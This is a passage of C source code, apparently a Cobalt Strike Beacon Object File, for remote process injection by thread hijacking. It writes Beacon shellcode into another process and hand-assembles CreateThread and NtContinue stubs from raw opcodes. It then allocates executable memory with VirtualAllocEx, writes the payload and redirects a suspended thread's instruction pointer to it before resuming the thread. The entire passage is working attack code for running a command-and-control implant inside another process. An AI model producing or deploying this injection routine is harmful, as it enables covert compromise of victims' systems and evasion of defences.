BeaconPrintf(CALLBACK_ERROR, "Error! Unable to write shellcode to allocated buffer. Error: 0x%lx\n", KERNEL32$GetLastError()); 163 | } 164 | else 165 | { 166 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Wrote Beacon shellcode to the remote process!\n"); 167 | 168 | // Create shellcode for CreateThread routine to be executed in the remote buffer via the hijacked thread 169 | BYTE createThread[64] = { NULL }; 170 | 171 | // Casting shellcode address to LPTHREAD_START_ROUTINE function pointer 172 | LPTHREAD_START_ROUTINE threadCast = (LPTHREAD_START_ROUTINE)placeRemotely; 173 | 174 | // Counter for array indexing 175 | int z = 0; 176 | 177 | // __fastcall calling convention: RCX = LPSECURITY_ATTRIBUTES (NULL), RDX = dwStackSize (0), R8 = LPTHREAD_START_ROUTINE (shellcode address), R9 = lpParameter (NULL) 178 | // RSP + 20h = dwCreationFlags (0), RSP + 28h = lpThreadId (NULL) 179 | 180 | // xor rcx, rcx 181 | createThread[z++] = 0x48; 182 | createThread[z++] = 0x31; 183 | createThread[z++] = 0xc9; 184 | 185 | // xor rdx, rdx 186 | createThread[z++] = 0x48; 187 | createThread[z++] = 0x31; 188 | createThread[z++] = 0xd2; 189 | 190 | // mov r8, LPTHREAD_START_ROUTINE 191 | createThread[z++] = 0x49; 192 | createThread[z++] = 0xb8; 193 | mycopy(createThread + z, &threadCast, sizeof(threadCast)); 194 | z += sizeof(threadCast); 195 | 196 | // xor r9, r9 197 | createThread[z++] = 0x4d; 198 | createThread[z++] = 0x31; 199 | createThread[z++] = 0xc9; 200 | 201 | // mov [rsp+20h], r9 (which already contains 0) 202 | createThread[z++] = 0x4c; 203 | createThread[z++] = 0x89; 204 | createThread[z++] = 0x4c; 205 | createThread[z++] = 0x24; 206 | createThread[z++] = 0x20; 207 | 208 | // mov [rsp+28h], r9 (which already contains 0) 209 | createThread[z++] = 0x4c; 210 | createThread[z++] = 0x89; 211 | createThread[z++] = 0x4c; 212 | createThread[z++] = 0x24; 213 | createThread[z++] = 0x28; 214 | 215 | // Resolve the address of CreateThread 216 | unsigned long long createthreadAddress = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("kernel32"), "CreateThread"); 217 | 218 | // Error handling 219 | if (createthreadAddress == NULL) 220 | { 221 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to resolve CreateThread. Error: 0x%lx\n", KERNEL32$GetLastError()); 222 | } 223 | else 224 | { 225 | // mov rax, CreateThread 226 | createThread[z++] = 0x48; 227 | createThread[z++] = 0xb8; 228 | mycopy(createThread + z, &createthreadAddress, sizeof(createthreadAddress)); 229 | z += sizeof(createthreadAddress); 230 | 231 | // call rax (call CreateThread) 232 | createThread[z++] = 0xff; 233 | createThread[z++] = 0xd0; 234 | 235 | // Return to the caller in order to kick off NtContinue routine 236 | createThread[z++] = 0xc3; 237 | 238 | // NtContinue is invoked locally, not remotely - Need to create NtContinue routine to be carried to the hijacked thread for thread restoration 239 | // Since the CONTEXT record for the hijacked thread was obtained remotely, it needs to be embedded into the NtContinue routine, as the address space from the Beacon process is not visible to the remote process 240 | 241 | // Create byte array for NtContinue routine, counter, and stack alignment routine byte array 242 | BYTE ntContinue[64] = { NULL }; 243 | int i = 0; 244 | BYTE stackAlignment[4] = { NULL }; 245 | 246 | // First calculate the size of a CONTEXT record and NtContinue routine 247 | // Then, "jump over shellcode" by calling the buffer at an offset of the calculation (64 bytes + CONTEXT size) 248 | 249 | // 0xe8 is a near call, which uses RIP as the base address for RVA calculations and dynamically adds the offset specified by shellcodeOffset 250 | ntContinue[i++] = 0xe8; 251 | 252 | // Subtracting to compensate for the near call opcode (represented by i) and the DWORD used for relative addressing 253 | DWORD shellcodeOffset = sizeof(ntContinue) + sizeof(CONTEXT) - sizeof(DWORD) - i; 254 | mycopy(ntContinue + i, &shellcodeOffset, sizeof(shellcodeOffset)); 255 | 256 | // Update counter with location buffer can be written to 257 | i += sizeof(shellcodeOffset); 258 | 259 | // Near call instruction to call the address directly after, which is used to pop the pushed return address onto the stack with a RVA from the same page (call pushes return address onto the stack) 260 | ntContinue[i++] = 0xe8; 261 | ntContinue[i++] = 0x00; 262 | ntContinue[i++] = 0x00; 263 | ntContinue[i++] = 0x00; 264 | ntContinue[i++] = 0x00; 265 | 266 | // The previous call instruction pushes a return address onto the stack 267 | // The return address will be the address, in memory, of the upcoming pop rcx instruction 268 | // Since current execution is no longer at the beginning of the ntContinue routine, the distance to the CONTEXT record is no longer 64-bytes 269 | // The address of the pop rcx instruction will be used as the base for RVA calculations to determine the distance between the value in RCX (which will be the address of the 'pop rcx' instruction) to the CONTEXT record 270 | // Obtaining the current amount of bytes executed thus far 271 | int contextOffset = i; 272 | 273 | // __fastcall calling convention 274 | // NtContinue requires a pointer to a context record and an alert state (FALSE in this case) 275 | // pop rcx (get return address, which isn't needed for anything, into RCX for RVA calculations) 276 | ntContinue[i++] = 0x59; 277 | 278 | // The address of the pop rcx instruction is now in RCX 279 | // Adding the distance between the CONTEXT record and the current address in RCX 280 | // add rcx, distance to CONTEXT record 281 | ntContinue[i++] = 0x48; 282 | ntContinue[i++] = 0x83; 283 | ntContinue[i++] = 0xc1; 284 | 285 | // Value to be added to RCX 286 | // The distance between the value in RCX (address of the 'pop rcx' instruction) and the CONTEXT record can be found by subtracting the amount of bytes executed up until the 'pop rcx' instruction and the original 64-byte offset 287 | ntContinue[i++] = sizeof(ntContinue) - contextOffset; 288 | 289 | // xor rdx, rdx 290 | // Set to FALSE 291 | ntContinue[i++] = 0x48; 292 | ntContinue[i++] = 0x31; 293 | ntContinue[i++] = 0xd2; 294 | 295 | // Place NtContinue into RAX 296 | ntContinue[i++] = 0x48; 297 | ntContinue[i++] = 0xb8; 298 | 299 | // Although the thread is in a remote process, the Windows DLLs mapped to the Beacon process, although private, will correlate to the same virtual address 300 | unsigned long long ntcontinueAddress = KERNEL32$GetProcAddress(KERNEL32$GetModuleHandleA("ntdll"), "NtContinue"); 301 | 302 | // Error handling. If NtContinue cannot be resolved, abort 303 | if (ntcontinueAddress == NULL) 304 | { 305 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to resolve NtContinue.\n", KERNEL32$GetLastError()); 306 | } 307 | else 308 | { 309 | // Copy the address of NtContinue function address to the NtContinue routine buffer 310 | mycopy(ntContinue + i, &ntcontinueAddress, sizeof(ntcontinueAddress)); 311 | 312 | // Update the counter with the correct offset the next bytes should be written to 313 | i += sizeof(ntcontinueAddress); 314 | 315 | // Allocate some space on the stack for the call to NtContinue 316 | // sub rsp, 0x20 317 | ntContinue[i++] = 0x48; 318 | ntContinue[i++] = 0x83; 319 | ntContinue[i++] = 0xec; 320 | ntContinue[i++] = 0x20; 321 | 322 | // call NtContinue 323 | ntContinue[i++] = 0xff; 324 | ntContinue[i++] = 0xd0; 325 | 326 | // Create 4 byte buffer to perform bitwise AND with RSP to ensure 16-byte aligned stack for the call to shellcode 327 | // and rsp, 0FFFFFFFFFFFFFFF0 328 | stackAlignment[0] = 0x48; 329 | stackAlignment[1] = 0x83; 330 | stackAlignment[2] = 0xe4; 331 | stackAlignment[3] = 0xf0; 332 | 333 | // Allocating memory for final buffer 334 | // Size of NtContinue routine, CONTEXT structure, stack alignment routine, and CreateThread routine 335 | PVOID shellcodeFinal = (PVOID)MSVCRT$malloc(sizeof(ntContinue) + sizeof(CONTEXT) + sizeof(stackAlignment) + sizeof(createThread)); 336 | 337 | // Copy NtContinue routine to final buffer 338 | mycopy(shellcodeFinal, ntContinue, sizeof(ntContinue)); 339 | 340 | // Copying CONTEXT structure, stack alignment routine, and CreateThread routine to the final buffer 341 | // Allocation is already a pointer (PVOID) - casting to a DWORD64 type, a 64-bit address, in order to write to the buffer at a desired offset 342 | // Using RtlMoveMemory for the CONTEXT structure to avoid casting to something other than a CONTEXT structure 343 | NTDLL$RtlMoveMemory((DWORD64)shellcodeFinal + sizeof(ntContinue), &cpuRegisters, sizeof(CONTEXT)); 344 | mycopy((DWORD64)shellcodeFinal + sizeof(ntContinue) + sizeof(CONTEXT), stackAlignment, sizeof(stackAlignment)); 345 | mycopy((DWORD64)shellcodeFinal + sizeof(ntContinue) + sizeof(CONTEXT) + sizeof(stackAlignment), createThread, sizeof(createThread)); 346 | 347 | // Declare a variable to represent the final length 348 | int finalLength = (int)sizeof(ntContinue) + (int)sizeof(CONTEXT) + sizeof(stackAlignment) + sizeof(createThread); 349 | 350 | // Inject the shellcode into the target process with read/write permissions 351 | PVOID allocateMemory = KERNEL32$VirtualAllocEx( 352 | processHandle, 353 | NULL, 354 | finalLength, 355 | MEM_RESERVE | MEM_COMMIT, 356 | PAGE_EXECUTE_READWRITE 357 | ); 358 | 359 | if (allocateMemory == NULL) 360 | { 361 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to allocate memory in the remote process. Error: 0x%lx\n", KERNEL32$GetLastError()); 362 | } 363 | else 364 | { 365 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Virtual memory for CreateThread and NtContinue routines allocated at 0x%llx inside of the remote process!\n", allocateMemory); 366 | 367 | // Write shellcode to the new allocation 368 | BOOL writeMemory = KERNEL32$WriteProcessMemory( 369 | processHandle, 370 | allocateMemory, 371 | shellcodeFinal, 372 | finalLength, 373 | NULL 374 | ); 375 | 376 | if (!writeMemory) 377 | { 378 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to write memory to the buffer. Error: 0x%llx\n", KERNEL32$GetLastError()); 379 | } 380 | else 381 | { 382 | 383 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Size of NtContinue routine: %lu bytes\n[+] Size of CONTEXT structure: %lu bytes\n[+] Size of stack alignment routine: %d\n[+] Size of CreateThread routine: %lu\n[+] Size of shellcode: %d bytes\n", sizeof(ntContinue), sizeof(CONTEXT), sizeof(stackAlignment), sizeof(createThread), payloadSize); 384 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Wrote payload to buffer inside previously allocated buffer!\n"); 385 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Current RIP: 0x%llx\n", cpuRegisters.Rip); 386 | 387 | // Allocate stack space by subtracting the stack by 0x2000 bytes 388 | cpuRegisters.Rsp -= 0x2000; 389 | 390 | // Change RIP to point to our shellcode and typecast buffer to a DWORD64 because that is what a CONTEXT structure uses 391 | cpuRegisters.Rip = (DWORD64)allocateMemory; 392 | 393 | // Set RIP 394 | BOOL setRip = KERNEL32$SetThreadContext( 395 | desiredThread, 396 | &cpuRegisters 397 | ); 398 | 399 | // Error handling 400 | if (!setRip) 401 | { 402 | BeaconPrintf(CALLBACK_ERROR, "Error! Unable to set the target thread's RIP register. Error: 0x%lx\n", KERNEL32$GetLastError()); 403 | } 404 | else 405 | { 406 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Successfully pointed the target thread's RIP register to the shellcode!\n"); 407 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Current RIP: 0x%llx\n", cpuRegisters.Rip); 408 | BeaconPrintf(CALLBACK_OUTPUT, "[+] Resuming the thread! Please wait for the Beacon payload to execute. This could take some time...\n"); 409 | 410 | // Call to ResumeThread() 411 | DWORD resume = KERNEL32$ResumeThread( 412 | desiredThread 413 | ); 414 | 415 | // Free the buffer used for the whole payload 416 | MSVCRT$free( 417 | shellcodeFinal 418 | ); 419 | } 420 | } 421 | } 422 | } 423 | } 424 | } 425 | } 426 | } 427 | 428 | // Close handle 429 | KERNEL32$CloseHandle( 430 | desiredThread 431 | ); 432 | } 433 | 434 | // Close handle 435 | KERNEL32$CloseHandle( 436 | processHandle 437 | ); 438 | } 439 | --------------------------------------------------------------------------------